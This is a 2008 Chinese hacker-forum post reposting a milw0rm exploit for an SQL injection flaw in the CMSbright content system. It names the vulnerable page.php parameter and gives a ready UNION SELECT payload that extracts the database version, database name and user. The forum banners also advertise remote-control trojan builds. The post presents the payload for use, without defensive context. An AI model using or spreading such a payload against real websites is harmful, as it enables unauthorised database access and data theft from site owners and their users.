社区服务
学盟银行
学盟社团
勋章中心
搜索工具

风格切换
286
ut

学盟技术交流中心 » 技术文章 » CMSbright (id_rub_page) 远程SQL注入漏洞

学盟技术论坛版主招聘	学生黑客联盟专版灰鸽子 Build 20080117	盟友每日签到处.增加贡献值!	学盟作品发布方式点此投稿!
新人报道贴　赚取学盟金币!	学生黑客联盟远控黄金版 Build 20080118	学盟开启邀请码.送给你需要的朋友	滨哥和佳佳的blog!

本页主题: CMSbright (id_rub_page) 远程SQL注入漏洞打印 \| 加为IE收藏 \| 复制链接 \| 收藏主题 \| 上一主题 \| 下一主题

鎏锦

心若一动，泪行千里。一笑间，云淡风轻。

级别: 总版主

论坛精华: 2
疯狂发帖: 2229
学盟威望: 206 点
学盟金币: 7498 金
学盟贡献: 94 点
学盟好评: 76 分
学盟神石: 0 块
学盟社团: 狼势力社团
在线时间:1907(小时)
签名状态: 未签到-[209次/102天]
注册时间:2007-08-31
最后登录:2008-12-01

小中大引用推荐编辑购买只看复制

CMSbright (id_rub_page) 远程SQL注入漏洞

文章来自：http://www.milw0rm.com/

目标系统来自： http://www.cmsbright.com/

利用 :

public/page.php?id_rub_page=[SQL]

例子 :

public/page.php?id_rub_page=-9990+union+all+select+concat(version(),database(),user()),2,3,4--

顶端 Posted: 2008-09-02 18:01 | [楼主]

	帖子浏览记录版块浏览记录
学盟技术交流中心 » 技术文章